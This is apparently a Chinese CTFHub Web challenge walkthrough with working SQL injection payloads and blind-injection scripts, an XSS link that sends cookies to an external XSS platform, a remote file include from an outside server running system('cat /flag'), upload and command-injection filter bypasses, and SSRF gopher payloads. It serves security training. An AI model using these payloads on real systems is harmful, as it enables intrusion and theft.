CTFHub-Web

Web前置技能

HTTP协议

请求方式

抓包并修改HTTP请求GET为CTFHUB

302跳转

抓包,修改请求URL为/index.php,删除If-Modified-Since和If-None-Match字段

Cookie

抓包,修改Cookie为admin=1

基础认证

1.HTTP基本认证(Basic access authentication)

在HTTP中,基本认证(Basic access authentication)是一种用来允许网页浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。

在发送之前是以用户名追加一个冒号然后串接上口令,并将得出的结果字符串再用Base64算法编码。

BASE64编码
username:password -> dXNlcm5hbWU6cGFzc3dvcmQ=

HTTP请求:
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=

2.Burp特殊密码爆破方法:https://www.jianshu.com/p/69cef8f0f466

Burpsuite – intruder

Payload Sets : Custom iterator  
Payload Options  
  选择Poistion, 添加字典(题目给定了字典)  
Payload Processing  
  选择Payload编码(Base64)  
Attack  

3.通过题目提示的用户名admin和提供的密码本,使用Burpsutie进行攻击,获取Flag

HTTP响应包源代码查看

直接右键查看源代码,在注释中发现flag

信息泄露

目录遍历

Burpsuite – intruder Attack type 选择聚合方式

设置位置1和位置2进行目录遍历

最后在目录/1/3下发现flag.txt

PHPINFO

打开进入PHPINFO界面,用Ctrl+F查找flag,最后找到flag

备份文件下载

网站源码

思路:根据提示的备份文件后缀和备份文件名进行组合路径,使用burpsuite进行爆破。

这里使用御剑进行爆破,找到备份文件www.zip,进行下载得到flag文件。

但是打开flag.txt文件后发现并没有flag,根据该文件是备份文件的提示,很容易想到当前网站的flag文件应该是更新的,因此访问flag文件,得到flag

bak文件

bak文件泄露

有些时候网站管理员可能为了方便,会在修改某个文件的时候先复制一份,将其命名为xxx.bak。而大部分Web Server对bak文件并不做任何处理,导致可以直接下载,从而获取到网站某个文件的源代码。

cURL是一个利用URL语法在命令行下工作的文件传输工具。

题目提示flag在index.php源码中,使用curl命令获取index.php.bak文件,得到flag

vim缓存

当vim异常退出时,都会生成一个用于备份缓冲区内容的swp临时文件,来记录了用户在非正常关闭vim编辑器之前未能及时保存的修改,用于文件恢复。

第一次产生的交换文件名为 .index.php.swp

再次意外退出后,将会产生名为 .index.php.swo 的交换文件

第三次产生的交换文件则为 .index.php.swn

和bak文件题一样,使用curl命令获取index.php.swp文件,得到flag

.DS_Store

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

访问./DS_Store可以下载DS_Store文件。

使用ds_store_exp脚本来读取DS_Store文件,最后得到flag。

python ds_store_exp.py http://www.xxx.com/.DS_Store

Git泄露

Log

Git的使用

查看历史记录
  git log
切换版本
  git reset
对比两次提交
  git diff

GitHack的使用

GitHack.py http://xxx/.git/

扫描发现存在Git泄露

使用GitHack将git文件下载到本地

进入git目录,打开githash,使用git log命令查询历史记录,当前版本为remove flag,于是使用git reset命令进行版本切换,在目录下发现flag文件得到flag。

Stash

stash可以把当前工作现场“保存”起来,等以后恢复现场后继续工作。

git stash list 查看保存的工作现场列表    
git stash pop 恢复工作现场    
git stash show 显示做了哪些改动  
git stash show -p 显示第一个保存的工作现场的改动  

扫描发现存在Git泄露

使用GitHack将git文件下载到本地

根据题目stash的提示,使用git stash list命令查看保存的工作现场列表,发现有一个stash@{0}的改动。

1.使用git stash pop命令恢复工作现场,在目录下给出有flag的txt文件,得到flag。

2.使用git stash show -p命令显示第一个保存的工作现场的改动,得到flag。

Index

扫描发现存在Git泄露

使用GitHack将git文件下载到本地

在目录下发现存有flag的文件

SVN泄露

SVN源码泄露漏洞

SVN(subversion)是源代码版本管理软件,造成SVN源代码漏洞的主要原因是管理员操作不规范。“在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,黑客可以借助其中包含的用于版本信息追踪的‘entries’文件,逐步摸清站点结构。”(可以利用.svn/entries文件,获取到服务器源码、svn服务器账号密码等信息)

SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本(低版本SVN具体路径为text-base目录,高版本SVN为pristine目录),如果服务器没有对此类后缀做解析,黑客则可以直接获得文件源代码。

参考资料:https://www.cnblogs.com/batsing/p/svn-bug.html

SVN泄露利用工具dvcs-ripper(需要perl环境)

svn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份,文件名为.svn/text-base/文件名.svn-base。

svn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份。

安装dvcs-ripper
git clone https://github.com/kost/dvcs-ripper

安装需要的perl模块
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl

获取SVN
perl rip-svn.pl -v -u http://www.example.com/.svn/

探测SVN文件泄露

使用dvcs-ripper获取SVN文件夹

由于SVN中的pristine文件夹里包含了整个项目的所有文件备份,里面的文件很少,打开文件检查,最后发现flag。

HG泄露

HG Mercurial 版本控制系统

访问下载/.hg/store/fncache文件

打开下载的fncache文件,发现flag文件名

访问flag文件,得到flag

密码口令

弱口令

正想用Burpsuite进行爆破,尝试了用户名admin密码password得到flag。

默认口令

站点为eyou邮件网关,在百度中找到其默认用户名和口令

逐一尝试后得到正确的用户名/口令【eyougw/admin@(eyou)】

访问成功后获得flag

SQL注入

整数型注入

1.判断注入(数字型注入)

id=1' # 异常
id=1 and 1=1 # 无异常
id=1 and 1=2 # 异常

2.猜测查询字段数

id=1 order by 2 #

3.查询数据库名称

id=-1 union select 1,database() #
id=-1 union select 1,group_concat(schema_name) from information_schema.schemata #

4.查询数据库表名

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

5.获取字段名

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #

6.获取值

id=-1 union select 1,group_concat(flag) from sqli.flag #

字符型注入

1.判断注入(字符型注入)

id=1' # 无异常
id=1' and 1=1 # 无异常
id=1' and 1=2 # 异常

2.猜测查询字段数

id=1' order by 2 

3.查询数据库名称

id=-1' union select 1,group_concat(schema_name) from information_schema.schemata # 

4.查询数据库表名

id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' # 

5.获取字段名

id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #

6.获取值

id=-1' union select 1,group_concat(flag) from sqli.flag #

报错注入

1.判断注入(数字型注入)

id=1' # 异常
id=1 and 1=1 # 无异常
id=1 and 1=2 # 无异常

2.查询数据库名称

1 and extractvalue(1,concat('~',(select database()))) #

3.查询数据库表名

1 and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='sqli'))) #

4.获取字段名

1 and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='flag'))) #

5.获取值(发现不全)

1 and extractvalue(1,concat('~',(select group_concat(flag) from flag))) #

6.获取剩下部分的值

1 and extractvalue(1,concat('~',(select group_concat(right(flag,30)) from flag))) #

布尔盲注

布尔型注入:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据。

1.判断注入(数字型)

id=1' # 异常
id=1 and 1=1 # 无异常
id=1 and 1=2 # 异常

2.写脚本进行盲注(二分查找)

import requests
import time
host = "http://challenge-f7c56492bb784c1c.sandbox.ctfhub.com:10080/"
ans=''
for i in range(1,1000):
left = 32
right = 128
mid = (left + right) // 2
while left < right:
# url = host + "?id=1 and (ascii(substr((select(database())),%d,1))<%d)" % (i,mid) # 库
# url = host + "?id=1 and (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='sqli')),%d,1))<%d)" % (i,mid) # 表
# url = host + "?id=1 and (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))<%d)" % (i,mid) # 列
url = host + "?id=1 and (ascii(substr((select(group_concat(flag))from(flag)),%d,1))<%d)" % (i,mid) # 值
res = requests.get(url)
time.sleep(0.01)
if "query_success" in res.text: # 满足<
right = mid
else:
left = mid + 1
mid=(left + right) // 2
if mid <= 32 or mid >= 127: # 找不到,说明找完了
break
ans += chr(mid-1)
print("ans is -> "+ans)

3.盲注获得flag

时间盲注

1.什么都不返回,根据语句的情况是数字型注入,因此需要进行时间盲注

2.测试存在延时注入

1 and IF((ascii(substr((select(database())),1,1))<128),sleep(5),1)

3.写脚本进行盲注(二分查找)

import requests
import time
host = "http://challenge-cfb13aa61d42521b.sandbox.ctfhub.com:10080/"
ans=''
for i in range(1,1000):
left = 32
right = 128
mid = (left + right) // 2
while left < right:
# url = host + "?id=1 and IF((ascii(substr((select(database())),%d,1))<%d),sleep(2),1)" % (i,mid) # 库
# url = host + "?id=1 and IF((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='sqli')),%d,1))<%d),sleep(2),1)" % (i,mid) # 表
# url = host + "?id=1 and IF((ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))<%d),sleep(2),1)" % (i,mid) # 列
url = host + "?id=1 and IF((ascii(substr((select(group_concat(flag))from(flag)),%d,1))<%d),sleep(2),1)" % (i,mid) # 值
startTime = time.time()
res = requests.get(url)
time.sleep(0.01)
if time.time() - startTime > 1: # 满足<
right = mid
else:
left = mid + 1
mid=(left + right) // 2
if mid <= 32 or mid >= 127: # 找不到,说明找完了
break
ans += chr(mid-1)
print("ans is -> "+ans)

4.盲注获得flag

MySQL结构

(和整数型注入没有区别)

1.判断注入(数字型注入)

id=1' # 异常
id=1 and 1=1 # 无异常
id=1 and 1=2 # 异常

2.猜测查询字段数

id=1 order by 2 #

3.查询数据库名称

id=-1 union select 1,database() #
id=-1 union select 1,group_concat(schema_name) from information_schema.schemata #

4.查询数据库表名

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

5.获取字段名

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='yxlbqlmcii' #

6.获取flag

id=-1 union select 1,group_concat(hwlefjfchf) from sqli.yxlbqlmcii #

Cookie注入

题目提示Cookie注入,因此用Burpsuite来发包进行SQL注入

1.通过抓包注意到Cookie中存在可能的注入点id(注入过程和整数型注入一样)

2.判断注入(数字型注入)

id=1' # 异常
id=1 and 1=1 # 无异常
id=1 and 1=2 # 异常

3.猜测查询字段数

id=1 order by 2 #

4.查询数据库名称

id=-1 union select 1,database() #
id=-1 union select 1,group_concat(schema_name) from information_schema.schemata #

5.查询数据库表名

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

6.获取字段名

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='qpeegbsuqn' #

7.获取flag

id=-1 union select 1,group_concat(ezgcyxseyj) from sqli.qpeegbsuqn #

UA注入

题目提示User-Agent注入,因此用Burpsuite来发包进行SQL注入

1.根据题目提示,User-Agent存在SQL注入(注入过程和整数型注入一样)

2.判断注入(数字型注入)

id=1' # 异常
id=1 and 1=1 # 无异常
id=1 and 1=2 # 异常

3.猜测查询字段数

id=1 order by 2 #

4.查询数据库名称

id=-1 union select 1,database() #
id=-1 union select 1,group_concat(schema_name) from information_schema.schemata #

5.查询数据库表名

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

6.获取字段名

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='spouaavrgq' #

7.获取flag

id=-1 union select 1,group_concat(aphauatxrd) from sqli.spouaavrgq #

Refer注入

题目提示Refer注入,因此用Burpsuite来发包进行SQL注入

1.根据题目提示,Refer存在SQL注入(注入过程和整数型注入一样)

2.判断注入(数字型注入)

id=1' # 异常
id=1 and 1=1 # 无异常
id=1 and 1=2 # 异常

3.猜测查询字段数

id=1 order by 2 #

4.查询数据库名称

id=-1 union select 1,database() #
id=-1 union select 1,group_concat(schema_name) from information_schema.schemata #

5.查询数据库表名

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

6.获取字段名

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='omcclbgcyx' #

7.获取flag

id=-1 union select 1,group_concat(dvtngqaewr) from sqli.omcclbgcyx #

过滤空格

1.发现输入空格被过滤了,因此需要绕过过滤,通常的办法是使用括号或者注释,这里使用注释/**/进行绕过。

2.判断注入(数字型注入)

id=1' # 异常
id=1/**/and/**/1=1 无异常
id=1/**/and/**/1=2 异常

3.猜测查询字段数

id=1/**/order/**/by/**/2

4.查询数据库名称

id=-1/**/union/**/select/**/1,database()
id=-1/**/union/**/select/**/1,group_concat(schema_name)/**/from/**/information_schema.schemata

5.查询数据库表名

id=-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

6.获取字段名

id=-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='vfcnqnyrub'

7.获取flag

id=-1/**/union/**/select/**/1,group_concat(zludagrjtj)/**/from/**/sqli.vfcnqnyrub

XSS

反射型

1.题目包含两个输出点,经过测试,第一个输入点存在XSS注入。输入<script>alert(1)</script>

2.第二个输入点,输入网站,根据返回SUCCESS可以判断,该网站会在后台进行访问。

3.这样一来思路就很明显了,一般来说flag会存在于后台账户的Cookie中,通过构造包含XSS的链接,让后台去访问,然后将盲打Cookie到XSS平台就好了。

4.先在XSS平台上注册一个账号,然后创建项目,选择默认模块。

5.复制一下XSS注入的代码,用来注入,复制哪个都行。

6.在第一个输入点进行测试的时候,存在XSS注入的参数为name,因此构造链接,用第二个输入点进行访问

http://challenge-33f70cae3cbf0183.sandbox.ctfhub.com:10080/?name=<sCrIpt srC=//xs.sb/apFD></sCRipT>

7.在XSS平台接收到flag

文件上传

用的Webshell是在真实的网站中获取的,我把这些Webshell保存了下来,都是免杀的

无验证

1.因为没有验证,直接上传了一个webshell,还告诉我传到了哪儿。

2.访问webshell,在上一级目录中找到flag文件

前端验证

1.上传web提示不允许上传

2.用Burpsuite抓包,再改后缀就好了

3.访问webshell,在上一级目录中找到flag文件

.htaccess

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

1.上传.htaccess文件

方法一:将jpg当作php执行

AddType application/x-httpd-php .jpg

方法二:匹配文件名当作php执行

<FilesMatch "filename">
SetHandler application/x-httpd-php
</FilesMatch>

2.上传webshell

3.访问webshell,在上一级目录中找到flag文件

MIME绕过

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。

MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。

浏览器通常使用MIME类型(而不是文件扩展名)来确定如何处理URL,因此Web服务器在响应头中添加正确的MIME类型非常重要。如果配置不正确,浏览器可能会曲解文件内容,网站将无法正常工作,并且下载的文件也会被错误处理。

Content-Type: image/jpeg
Content-Type: text/plain

1.直接上传webshell被告知文件类型不正确

2.根据题目的意思,修改Content-Type进行MIME绕过

将Content-Type: application/octet-stream修改为Content-Type: image/jpeg

3.访问webshell,在上一级目录中找到flag文件

文件头检查

1.修改Content-Type

Content-Type: image/jpeg

2.在Webshell头部加入GIF89a绕过文件头检测(我的这个webshell本来就加了)

如果不加入GIF89a将会提示文件错误,导致上传失败。

3.访问webshell,在上一级目录中找到flag文件

00截断

%00截断的两个条件

  • php < 5.3.4
  • magic_quotes_gpc = off

1.直接上传被告知文件类型不匹配,根据题意利用%00截断漏洞进行绕过,但是并没有返回上传的地址。访问upload/phpwebshell.php发现并不存在该文件。

phpwebshell.php%00.jpg

2.考虑到上传的文件可能被重新命名,因此在GET参数road进行截断,可以避免上述情况。

POST /?road=/var/www/html/upload/1.php%00

3.访问upload/1.php,发现之前上传的webshell确实被重新命名了

4.访问上级目录,发现flag文件

双写后缀

1.上传webshell之后发现后缀php没了,看看题目双写后缀,应该就说后缀php被正则替换为空了。

2.上传双写后缀的php文件webshell.pphphp,成功绕过

3.访问webshell,在上一级目录中找到flag文件

RCE

eval执行

php中$_REQUEST可以获取以POST方法和GET方法提交的数据

1.代码审计:接收cmd参数,作为eval函数输入。可以执行?cmd=system(‘ls’);查看当前目录。

2.因为没有对输入进行过滤,直接连接菜刀。

3.在根目录发现flag文件,获得flag

文件包含

1.页面提示i have a shell, how to use it ?,并且给出了一个一句话木马文件shell.txt

2.代码审计:接收一个参数file,strpos返回字符在字符串首次出现的位置,为了能够执行后面的include包含语句,file参数中不能包含flag。因此需要通过包含shell.txt来进行命令执行。

3.使用?file=./shell.txt来包含shell.txt。

4.使用菜刀连接http://challenge-d79c956a7b86d96e.sandbox.ctfhub.com:10080/?file=./shell.txt,密码ctfhub,在根目录发现flag。

php://input

1.代码审计:接收一个参数file,substr的作用是返回字串。为了能够执行include语句,file参数前6位必须是php://

2.php://input将post请求中的数据作为PHP代码执行

3.通过构造?file=php://input,并提交POST数据进行命令执行

4.在根目录下发现flag文件,通过cat命令读取flag

远程包含

1.代码审计:读入file参数,直接用于include

2.在自己的服务器上部署一个包含一句话木马的txt文件(用完记得删除)

3.在file参数填入服务器一句话木马txt文件的地址

4.在根目录找到flag

?file=http://47.94.134.156:8002/oneword.txt&shell=system(‘cat /flag‘);

读取源代码

1.看题目感觉和php://input那题很像,就试了一下,发现不行。

2.根据题目为读取源代码和提示flag in /flag,可以猜测应该是用php://filter协议去读取flag文件。

3.构造/?file=php://filter/read=convert.base64-encode/resource=/flag读取flag文件的base64内容。

4.对得到的内容进行base64解码得到flag

命令注入

exec($cmd, $res); 执行cmd,命令执行后的返回状态写入res

1.使用管道符|连接命令127.0.0.1|cat ./43061749531475.php,可是没有返回任何内容,可能是因为存在无法显示的字符

2.使用base64编码导出127.0.0.1|cat ./43061749531475.php|base64

3.解码得到flag

过滤cat

插曲:环境崩了,无语

Linux绕过方法:https://www.cnblogs.com/-chenxs/p/11978488.html

1.cat被过滤了,使用连接符''\$@来绕过过滤,其他和命令注入那题一样。

2.构造127.0.0.1|ca''t ./ flag_33401890411458.php|base64,获取base64编码后的内容

3.解码得到flag

过滤空格

1.使用<代替空格,绕过过滤,其他的和之前一样。

2.构造127.0.0.1|cat<./flag_294912763613033.php|base64,获取base64编码后的内容。

3.解码得到flag

过滤目录分隔符

; 表示顺序地独立执行各条命令, 彼此之间不关心是否失败, 所有命令都会执行

& 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &

&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo ‘1‘ && echo ‘2’

| 表示管道,上一条命令的输出,作为下一条命令参数,如 echo ‘yes’ | wc -l

|| 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail”

1.通过使用ls命令进行探测,发现flag文件位于当前目录flag_is_here文件夹中。

2.使用;来分割命令,由于目录分隔符/被过滤了,因此先用cd进入flag_is_here文件夹,再用cat读取flag文件flag_6216191043123.php

3.构造127.0.0.1&cd flag_is_here;cat flag_6216191043123.php获取flag

4.由前面的题目知道,不显示的原因是因为flag文件中有注释,并不是因为存在无法显示的字符,因此这里不用再用base64编码导出了,直接查看页面源代码就能拿到flag

过滤运算符

1.代码审计,发现过滤了|&

2.前文过滤目录分隔符中介绍过了,使用;来分隔命令就行了

3.构造127.0.0.1;cat flag_162391932123225.php,查看源代码页面拿到flag

综合过滤练习

学习成果大检验:打出组合拳,万万没想到之前的不够用,大意了,没有闪。

有一篇文章给出了Linux中常见的绕过方法:https://blog.csdn.net/wojiushilsy/article/details/106129503

1.代码审计,过滤内容如下

| & ; 空格 / cat flag ctfhub

2.由于|&;都被过滤了,因此只能用%0a 作为分隔符。

需要注意:由于%0a是url编码,所以需要在URL中使用,否则将被二次编码

构造?ip=127.0.0.1%0als发现可以执行成功,发现目录flag_is_here

3.用%09代替空格,用连接符‘’绕过对关键词cat,flag的过滤

构造?ip=127.0.0.1%0acd%09fl''ag_is_here%0aca''t%09fl''ag_31541595120177.php,查看源码得到flag

SSRF

服务器端请求伪造 Server-Side Request Forgery

直接对目标网址的内部系统发起请求

内网访问

根据题目提示,直接访问127.0.0.1/flag.php获取flag

构造?url=127.0.0.1/flag.php

伪协议读取文件

1.题目为伪协议读取文件,是指使用php中的file://协议访问本地文件系统

使用方法为:file:// [文件的绝对路径和文件名]

2.默认web目录一般为var/www/html/

3.构造?url=file:///var/www/html/flag.php

4.查看页面源代码得到flag

端口扫描

1.题目提示扫描端口8000-9000,那就探测127.0.0.1:8000 – 127.0.0.1:9000就好了。

2.写个脚本去测试

import requests
url = 'http://challenge-1fbb0acd1aba72d0.sandbox.ctfhub.com:10080/?url=127.0.0.1:'
for i in range(8000,9001):
res = requests.get(url+str(i))
if res.text != '':
print(url+str(i))
print(res.text)

3.得到flag,端口为8925

POST请求

Gopher协议

  • 信息查找系统(已被HTTP等取代)
  • 将因特网上的文件组织成某种索引
  • 使用格式gopher://URL
  • 使用Gopher构造GET/POST包进行攻击

关于Gopher协议在SSRF中的应用:Gopher协议在SSRF漏洞中的深入研究 – 酒色财气 – 博客园 (cnblogs.com)

1.访问?url=127.0.0.1/flag.php,发现存在该文件,查看页面源代码,但是并没有flag,发现一个key

2.使用file协议读取该文件 ?url=file:///var/www/html/flag.php

3.对代码进行审计,发现必须要给定POST参数key才能输出flag

4.利用gopher协议构造POST数据包

5.必须传递的参数POST、Host、Content-Type和Content-Length,构造POST数据包如下:

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=f77251c636044bca5dc34deeab185207

6.对构造的POST数据包进行URL编码,并使用gopher://127.0.0.1:80/_拼接改为gopher协议。(对于/不进行编码)

回车换行需要使用%0D%0A(\r\n的URL编码)

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3Df77251c636044bca5dc34deeab185207

7.对构造的的gopher协议进行URL编码

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df77251c636044bca5dc34deeab185207%250D%250A

8.上述过程可以使用脚本

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=f77251c636044bca5dc34deeab185207
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload).replace('%0A','%0D%0A') # 回车换行需要使用%0D%0A
result = urllib.parse.quote('gopher://127.0.0.1:80/_'+tmp) # 再次进行编码
print(result)

9.作为url的参数提交,等待片刻,得到flag

上传文件

1.访问?url=127.0.0.1/flag.php,发现一个文件上传页面。

2.使用file协议读取该文件 ?url=file:///var/www/html/flag.php,查看页面源代码。

3.对代码进行审计,发现要求上传文件,且文件大小大于0,才能输出flag,因此得到思路:

构造文件上传的POST数据包,使用gopher协议在目标本机上执行

4.由于文件上传页面没有上传按钮,使用浏览器F12开发者模式,增加一个上传按钮。

<input type="submit" name="submit">

5.上传一个txt文件,用burpsuite抓取数据包。

POST /flag.php HTTP/1.1
Host: challenge-0d21562702d32d6e.sandbox.ctfhub.com:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------198747057712106600242738718936
Content-Length: 344
Origin: http://challenge-0d21562702d32d6e.sandbox.ctfhub.com:10080
Connection: close
Referer: http://challenge-0d21562702d32d6e.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------198747057712106600242738718936
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

123
-----------------------------198747057712106600242738718936
Content-Disposition: form-data; name="submit"

提交查询
-----------------------------198747057712106600242738718936--

6.将HOST改为127.0.0.1,将修改后的POST数据包导入到脚本的payload中,生成gopher协议语句。

import urllib.parse
payload =\
"""xxx
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload).replace('%0A','%0D%0A') # 回车换行需要使用%0D%0A
result = urllib.parse.quote('gopher://127.0.0.1:80/_'+tmp) # 再次进行编码
print(result)

7.生成语句如下

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-0d21562702d32d6e.sandbox.ctfhub.com%253A10080%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A84.0%2529%2520Gecko/20100101%2520Firefox/84.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------198747057712106600242738718936%250D%250AContent-Length%253A%2520344%250D%250AOrigin%253A%2520http%253A//challenge-0d21562702d32d6e.sandbox.ctfhub.com%253A10080%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-0d21562702d32d6e.sandbox.ctfhub.com%253A10080/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------198747057712106600242738718936%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250A123%250D%250A-----------------------------198747057712106600242738718936%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------198747057712106600242738718936--%250D%250A

8.通过参数url提交,得到flag

FastCGI协议

题目附件:Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写_mysteryflower的专栏-CSDN博客

1.访问?url=127.0.0.1/flag.php,这次什么也没有。

2.学习一下附件

a.FastCGI 快速通用网关接口(FastCommon Gateway Interface),交互程序与Web服务器通信的协议

b.PHP-FPM(FastCGI进程管理器) FPM按照FastCGI协议将TCP流解析成真正的数据

发表评论